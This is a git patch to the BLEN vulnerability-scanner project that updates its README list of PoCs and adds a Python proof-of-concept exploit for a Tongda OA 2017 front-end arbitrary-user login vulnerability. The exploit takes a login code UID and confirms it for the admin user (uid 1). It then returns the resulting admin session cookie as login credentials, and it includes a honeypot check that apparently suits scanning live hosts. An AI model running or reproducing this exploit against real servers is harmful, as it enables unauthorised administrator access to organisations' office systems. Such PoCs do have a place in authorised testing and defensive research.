From 02e238b88613eb6cc775871c5a8bc31546963b7d Mon Sep 17 00:00:00 2001 From: openx-org <94358491+openx-org@users.noreply.github.com> Date: Thu, 10 Mar 2022 17:13:15 +0800 Subject: [PATCH] 2.23.9 --- README.md | 6 +- .../AnyUser_Login_Version2017/poc.py | 77 +++++++++++++++++++ 2 files changed, 81 insertions(+), 2 deletions(-) create mode 100644 poc/Tongda_通达OA/AnyUser_Login_Version2017/poc.py diff --git a/README.md b/README.md index 45cc478..2a80569 100644 --- a/README.md +++ b/README.md @@ -3,13 +3,13 @@ [![Python 3.x](https://img.shields.io/badge/python-3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv3-brown.svg)](https://github.com/openx-org/BLEN/blob/main/LICENSE) -[![POC_NUM](https://img.shields.io/badge/poc_num-156-orange.svg)](#PocSupport) +[![POC_NUM](https://img.shields.io/badge/poc_num-157-orange.svg)](#PocSupport) ![GitHub Repo stars](https://img.shields.io/github/stars/openx-org/BLEN?color=gree) ![GitHub forks](https://img.shields.io/github/forks/openx-org/BLEN?color=blue) ## 🦌 简介 -1、POC数量、经过OpenxLab实验室小伙伴们的不懈努力现已有156个POC； +1、POC数量、经过OpenxLab实验室小伙伴们的不懈努力现已有157个POC； 2、使用python编写、跨平台、并发能力强、扫描速度非常快； @@ -201,6 +201,7 @@ token = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |Apache_ApiSix|Apache APISIX Dashboard 身份验证绕过漏洞（CVE-2021-45232）|``poc/Apache_ApiSix/DashBoard_Auth_Bypass_CVE_2021_45232/poc.py``| ||Apache APISIX 默认密钥漏洞（CVE-2020-13945）|``poc/Apache_ApiSix/Default_Key_CVE_2020_13945/poc.py``| |Coremail|Coremail 配置信息泄露漏洞|``poc/Coremail/Conf_Info_Disclosure/poc.py``| +|QZSec_齐治|齐治堡垒机 任意用户登录漏洞|``poc/QZSec_齐治/AnyUser_Login_Fortress_Machine/poc.py``| |赤兔CMS|赤兔CMS banner识别插件|``poc/CtCMS_赤兔CMS/Get_Banner/poc.py``| |D-Link|D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞|``poc/D_Link/RCE_ShareCenter_system_mgr_cgi/poc.py``| ||D-Link Dir-645 getcfg.php 账号密码泄露漏洞(CVE-2019-17506)|``poc/D_Link/UPInfo_Disclosure_getcfg_php/poc.py``| @@ -294,6 +295,7 @@ token = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx |通达OA|通达OA 计算机名探测插件|``poc/Tongda_通达OA/Computer_Name_Plugin/poc.py``| ||通达OA 版本探测插件|``poc/Tongda_通达OA/Version_Info_Plugin/poc.py``| ||通达OA 前台sql注入|``poc/Tongda_通达OA/Sql_inj_TongDa/poc.py``| +||通达OA2017 前台任意用户登录漏洞|``poc/Tongda_通达OA/AnyUser_Login_Version2017/poc.py``| |同为股份|TVT数码科技 NVMS-1000 路径遍历漏洞|``poc/TVT_同为股份/Dir_Traversal_NVMS_1000/poc.py``| |艾泰科技|艾泰网络管理系统弱口令|``poc/UTT_艾泰科技/WeakPass_Net_Manager_System/poc.py``| |启明星辰|天玥运维网关/网御网络审计 Sql注入漏洞|``poc/Venustech_启明星辰/SQLi_Reportguide/poc.py``| diff --git a/poc/Tongda_通达OA/AnyUser_Login_Version2017/poc.py b/poc/Tongda_通达OA/AnyUser_Login_Version2017/poc.py new file mode 100644 index 0000000..93b5fd4 --- /dev/null +++ b/poc/Tongda_通达OA/AnyUser_Login_Version2017/poc.py @@ -0,0 +1,77 @@ +# coding:utf-8 +import requests,json +from lib.core.common import url_handle,get_random_ua +from lib.core.poc import POCBase +# ... +import urllib3 +urllib3.disable_warnings() + +class POC(POCBase): + + _info = { + "author" : "jijue", # POC作者 + "version" : "1", # POC版本，默认是1 + "CreateDate" : "2022-01-01", # POC创建时间 + "UpdateDate" : "2022-01-01", # POC创建时间 + "PocDesc" : """ + 略 + """, # POC描述，写更新描述，没有就不写 + + "name" : "通达OA2017 前台任意用户登录漏洞", # 漏洞名称 + "VulnID" : "oFx-2022-0001", # 漏洞编号，以CVE为主，若无CVE，使用CNVD，若无CNVD，留空即可 + "AppName" : "通达OA", # 漏洞应用名称 + "AppVersion" : "version 2017", # 漏洞应用版本 + "VulnDate" : "2022-01-01", # 漏洞公开的时间,不知道就写今天，格式：xxxx-xx-xx + "VulnDesc" : """ + 通达OA 前台任意用户登录漏洞 + """, # 漏洞简要描述 + + "fofa-dork":""" + + """, # fofa搜索语句 + "example" : "", # 存在漏洞的演示url，写一个就可以了 + "exp_img" : "", # 先不管 + } + + def _verify(self): + """ + 返回vuln + 存在漏洞：vuln = [True,html_source] # html_source就是页面源码 + 不存在漏洞：vuln = [False,""] + """ + vuln = [False,""] + url0 = self.target + "/ispirit/login_code.php" # url自己按需调整 + url1 = self.target + "/general/login_code_scan.php" + url2 = self.target + "/ispirit/login_code_check.php?codeuid=" + + headers = {"User-Agent":get_random_ua(), + "Connection":"close", + # "Content-Type": "application/x-www-form-urlencoded", + } + + try: + """ + 检测逻辑，漏洞存在则修改vuln值为True，漏洞不存在则不动 + """ + req0 = requests.get(url0,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False) + + codeUid = json.loads(req0.text)['codeuid'] + data={'codeuid': codeUid, 'uid': int(1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'} + req1 = requests.post(url1,data = data,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False) + + if json.loads(req1.text)["status"] == str(1): + req2 = requests.get(url2 + codeUid,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False) + vuln = [True,req2.text + "" + "登录凭据：" + req2.headers['Set-Cookie']] + else: + vuln = [False,req0.text] + except Exception as e: + raise e + + # 以下逻辑酌情使用 + if self._honeypot_check(vuln[1]) == True: + vuln[0] = False + + return vuln + + def _attack(self): + return self._verify() \ No newline at end of file